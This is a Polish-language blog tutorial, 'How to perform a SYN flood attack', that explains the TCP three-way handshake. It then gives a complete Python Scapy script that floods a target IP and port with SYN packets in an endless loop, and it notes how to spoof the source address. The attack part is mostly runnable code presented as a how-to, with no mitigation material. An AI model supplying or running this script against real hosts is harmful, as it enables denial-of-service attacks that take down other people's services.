Jak wykonać atak SYN flood?

Mimo upływu czasu niektóre formy ataków się nie zmieniają, a jedynie ich postać się lekko modyfikuje. Do jednego z najprostszych ataków, które można wykorzystać na różne sposoby należy atak SYN flood. W związku z tym przybliżmy sobie nieco jego obraz.

Czym jest atak SYN flood?

Aby to zobrazować, przypomnijmy sobie w jaki sposób działa protokół TCP.

      TCP A                                                TCP B

  1.  CLOSED                                               LISTEN
  2.  SYN-SENT    --> <SEQ=100><CTL=SYN>               --> SYN-RECEIVED
  3.  ESTABLISHED <-- <SEQ=300><ACK=101><CTL=SYN,ACK>  <-- SYN-RECEIVED
  4.  ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK>       --> ESTABLISHED
  5.  ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK><DATA> --> ESTABLISHED

Dokładne wyjaśnienie znajdziecie w innym naszym poście. To co musimy wiedzieć na ten komunikacji TCP to to, że klient (TCP A) przesyła żądanie nawiązania połączenia, wysyłając do serwera (TCP B) komunikat SYN. Na to serwer odpowiada komunikatem SYN-ACK, a klient ponownie przesyła komunikat – tym razem ACK. W ten sposób zostaje nawiązane połączenie. Tutaj też dochodzimy do sedna sprawy.

W ataku SYN flood atakujący przesyła pakiety SYN jeden po drugim (często też zdarza się, że na różne porty sieciowe). W ten sposób serwer odpowiada na każdą próbę połączenia pakietem SYN-ACK, co docelowo ma prowadzić do przeciążenia i zablokowania usług serwera.

Budowa skryptu

Na początek spójrzmy na prosty skrypt przygotowany w języku Python.

from scapy.all import *

target_ip = "127.0.0.1"
target_port = 80

ip = IP(dst = target_ip)
tcp = TCP(sport = RandShort(), dport = target_port, flags = "S")

raw = Raw(b"X"*1024)
p = ip / tcp / raw
send(p, loop = 1, verbose = 0)

Najpierw inicjujemy zmienną przetrzymującą ip oraz port atakowanej maszyny. Następnie tworzymy pakiet, którego docelowym adresem jest adres atakowanego serwera (IP(dst = target_ip)). W tym miejscu warto wspomnieć, że gdybyśmy chcieli sfałszować IP adres otwierającego połączenie, możemy podać opcjonalny parametr src do w tworzeniu instancji klasy IP. W kolejnych linijkach (TCP(sport = RandShort(), dport = target_port, flags = "S")) tworzymy pakiet SYN z losowym portem źródłowym i portem docelowym jako target_port. Pozostało stworzyć dane (zmienna raw), utworzyć warstwy (ip / tcp / raw) i przesłać skonstruowany pakiet w pętli. W najlepszym wypadku serwer przestanie odpowiadać.

Źródła

https://pl.wikipedia.org/wiki/SYN_flood
https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.